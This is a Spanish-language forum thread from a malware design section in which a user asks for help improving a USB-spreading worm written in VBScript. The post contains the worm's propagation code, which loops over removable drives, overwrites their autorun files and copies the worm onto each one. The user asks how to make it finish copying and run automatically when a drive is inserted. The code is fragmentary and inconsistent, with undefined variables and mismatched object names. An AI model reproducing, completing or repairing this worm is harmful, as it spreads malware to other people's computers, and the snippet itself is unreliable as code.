elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Cifrar documentos-carpetas con GnuPG en Linux y Windows


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  mejorar este gusano*
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: mejorar este gusano*  (Leído 352 veces)
Ragaza


Desconectado Desconectado

Mensajes: 432


Ver Perfil
mejorar este gusano*
« en: 21 Diciembre 2016, 13:06 »

Hola estoy siguiendo el manual de octalh para crear un gusano, referencia:
Citar

El autorun lo hace pero se queda todo el rato haciendolo. También estoy intentando aprender a hacer uno con shorcut's pero no se como funcionan. Mi pregunta es porque no finaliza de crear de el autorun. Posdata: creo porque el loop hace que nunca finalice (cuando digo no funcione cuando conecto el usb no arranca el gusano supongo que sera porque debo ejecutar algo no sé exactamente el que)

Es decir se me queda todo el rato con el usb parpadeando y pienso que será por el loop. Habría una forma de evitar que cuando se haya copiado haga break y se salga del loop?

Y lo segundo es cuando se copia el autorun, quito el gusano y tal, y pongo otra vez de nuevo el usb el gusano no se arranca en mi ordenador¿Puede que el autorun este dañado pienso? Tenga que modificarlo de alguna manera.

Código:
do ' inicia loop infinito
Set oFS = Wscript.CreateObject("Scripting.FileSystemObject")
Set oDrives = oFS.Drives 'declaramos todos los srivers
For Each Drive in oDrives 'por cada driver
    If Drive.DriveType = DriveTypeRemovable Then 'si son del tipo removible entonces
        If Drive.DriveLetter <> "A" Then ' si la letra es de A-Z entonces
            If fso.FileExists(Drive.DriveLetter + autorunusb) Then ' si existe autorun
               set cFile = fso.GetFile (Drive.DriveLetter + autorunusb)'tomalo y
               cFile.attributes = 0 ' quitale los atributos
               fso.CopyFile autorun, Drive.DriveLetter & autorunusb , true'despues copialo
           else' de lo contrario
      fso.CopyFile autorun, Drive.DriveLetter & autorunusb , true' copialo
   End if
fso.CopyFile w0rmpatch, Drive.DriveLetter & w0rmusb , true' copia el gusano a la unidad
End If
End If
Next
loop
end sub
« Última modificación: 21 Diciembre 2016, 15:01 por ChakChak » En línea

Estoy en contra del foro libre y la Sección de juegos y consolas (distraen al personal)
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Qué puedo hacer para sacarme este gusano de encima?
Seguridad
Fredy 1 605 Último mensaje 18 Marzo 2006, 17:45
por LordKevin
Me ayudarian a mejorar este codigo¿? « 1 2 »
Programación Visual Basic
Murd3r3r 0f daT4 15 3,519 Último mensaje 10 Octubre 2009, 22:56
por Murd3r3r 0f daT4
¿Podría mejorar el rendimiento de éste PC?
Overclocking y Refrigeración
JuanmaWL 6 3,204 Último mensaje 11 Junio 2012, 01:25
por JuanmaWL
(SOLUCIONADO) Se puede mejorar este FOR?
.NET
Eleкtro 4 1,124 Último mensaje 27 Noviembre 2012, 09:51
por Eleкtro
Mejorar este código
.NET
Meta 1 348 Último mensaje 12 Diciembre 2015, 21:56
por kub0x
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines